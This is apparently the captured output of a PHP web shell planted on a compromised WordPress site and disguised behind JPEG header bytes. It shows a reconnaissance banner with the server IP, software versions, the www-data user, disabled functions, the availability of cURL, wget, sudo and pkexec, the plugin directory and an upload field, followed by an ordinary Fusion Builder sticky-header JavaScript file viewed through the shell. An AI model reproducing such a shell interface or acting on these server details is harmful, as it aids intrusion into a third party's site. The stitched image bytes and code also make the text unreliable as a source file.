????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/js/ |
Upload File : |
! function( name, definition ) {
if ( 'undefined' !== typeof module && module.exports ) {
module.exports = definition();
} else if ( 'function' === typeof define ) {
define( definition );
} else {
this[ name ] = definition();
}
}( 'fusionBuilderStickyHeader', function() {
return function fusionBuilderStickyHeader( el, top ) {
var $container = document.getElementById( 'fusion_builder_container' ),
requiredTop = top || 0,
topBorderSize = 22,
originalRect = calcRect( el ),
styles = {
position: 'fixed',
top: requiredTop + 'px',
left: originalRect.left + 'px',
width: originalRect.width + 'px',
'border-top': topBorderSize + 'px solid #ffffff',
'z-index': 999
},
requiredOriginalStyles = ['position', 'top', 'left', 'z-index', 'border-top'],
originalStyles = {},
onscroll,
onresize;
requiredOriginalStyles.forEach( function( key ) {
originalStyles[ key ] = el.style[ key ];
originalStyles.width = '100%';
});
jQuery( '.fusion-builder-history-list' ).css( 'max-height', jQuery( window ).height() - 100 );
if ( window.onscroll ) {
onscroll = window.onscroll;
}
if ( window.onresize ) {
onresize = window.onresize;
}
window.onscroll = function( event ) {
var $mainContainer = document.getElementById( 'fusion_builder_main_container' ),
$mainContainerRect = calcRect( $mainContainer ),
$builderControlsHeight = jQuery( '#fusion_builder_controls' ).height(),
$mainContainerHeight = ( 'fixed' === jQuery( '#fusion_builder_controls' ).css( 'position' ) ) ? $mainContainerRect.height + originalRect.height - $builderControlsHeight : $mainContainerRect.height,
calContainer,
left,
key;
jQuery( '.fusion-builder-history-list' ).css( 'max-height', jQuery( window ).height() - 100 );
if ( getWindowScroll().top > originalRect.top - requiredTop - topBorderSize && getWindowScroll().top + requiredTop + topBorderSize + originalRect.height < $mainContainerRect.top + $mainContainerHeight ) {
calContainer = ( $container );
left = calContainer.left + 'px';
styles.left = left;
styles.width = jQuery( '#fusion_builder_container' ).outerWidth() + 'px';
for ( key in styles ) {
el.style[ key ] = styles[ key ];
}
} else {
for ( key in originalStyles ) {
el.style[ key ] = originalStyles[ key ];
}
}
onscroll && onscroll( event );
};
window.onresize = function( event ) {
var parentWidth = jQuery( '#fusion_builder_container' ).outerWidth() + 'px';
jQuery( '.fusion-builder-history-list' ).css( 'max-height', jQuery( window ).height() - 100 );
if ( getWindowScroll().top > originalRect.top - requiredTop ) {
el.style.width = parentWidth;
} else {
el.style.width = originalStyles.width;
}
onresize && onresize( event );
};
function calcRect( el ) {
var rect = el.getBoundingClientRect(),
windowScroll = getWindowScroll(),
headingRect,
top;
// If the whole panel is collapsed, the top position needs checked from the heading
top = rect.top + windowScroll.top;
if ( jQuery( el ).parents( '#fusion_builder_layout' ).hasClass( 'closed' ) ) {
headingRect = jQuery( el ).parents( '#fusion_builder_layout' ).find( '.ui-sortable-handle' )[0].getBoundingClientRect();
top = headingRect.top + headingRect.height + windowScroll.top;
}
return {
left: rect.left + windowScroll.left,
top: top,
width: rect.width,
height: rect.height
};
}
function getWindowScroll() {
return {
top: window.pageYOffset || document.documentElement.scrollTop,
left: window.pageXOffset || document.documentElement.scrollLeft
};
}
};
});